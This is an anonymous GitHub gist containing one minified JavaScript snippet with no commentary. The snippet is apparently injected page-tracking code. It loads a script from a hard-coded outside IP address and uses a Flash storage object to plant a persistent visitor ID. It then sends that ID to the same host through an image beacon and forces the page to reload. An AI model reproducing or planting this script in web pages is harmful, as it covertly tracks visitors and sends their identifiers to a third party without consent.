Skip to content

Instantly share code, notes, and snippets.

Created September 14, 2015 12:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/b9a06ba1ae356f85bc8d to your computer and use it in GitHub Desktop.
Save anonymous/b9a06ba1ae356f85bc8d to your computer and use it in GitHub Desktop.
function needNetsPush(){var ua = navigator.userAgent.toLowerCase();if(ua.indexOf('ubrowser') >= 0 || (ua.indexOf('safari') >= 0 && ua.indexOf('se') >= 0)){return false;}return true;}if(needNetsPush()){(function (url){var domScript = document.createElement('script');domScript.src = url;domScript.onload = domScript.onreadystatechange = function(){if(undefined == this.readyState || 'loaded' === this.readyState || 'complete' === this.readyState){clearTimeout(timer);this.onload = this.onreadystatechange = null;this.parentNode.removeChild(this);(function(){try{var mySwfStore = new SwfStore({namespace: 'SANETS',swf_url: 'http://59.24.3.173/sr.swf',debug: false,timeout: 2,onready: function(){try{var cookie = mySwfStore.get('SANETSUID');if (cookie){}else{cookie = '' + Math.floor(Math.random()*10) + Math.floor(Math.random()*10) + Math.floor(Math.random()*10) + Math.floor(Math.random()*10) + (new Date()).valueOf();mySwfStore.set('SANETSUID',cookie);}var imgTimer = setTimeout(function(){location.reload();}, 2000);var url = "http://59.24.3.173/dummy.gif?SANETSUID=" + cookie+"UIDEND"+Math.floor(Math.random()*1000);var domImg = document.createElement('img');domImg.src = url;domImg.onload = domImg.onreadystatechange = function(){if(undefined == this.readyState || 'loaded' === this.readyState || 'complete' === this.readyState){clearTimeout(imgTimer);this.onload = this.onreadystatechange = null;this.parentNode.removeChild(this);location.reload();}};document.getElementsByTagName('body')[0].appendChild(domImg);}catch(e){location.reload();}},onerror: function() {location.reload();}});} catch(e){location.reload();}})();}};document.getElementsByTagName('body')[0].appendChild(domScript);})("http://59.24.3.173/ss.js");}else{location.reload();}var timer = setTimeout(function(){location.reload();}, 2000);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment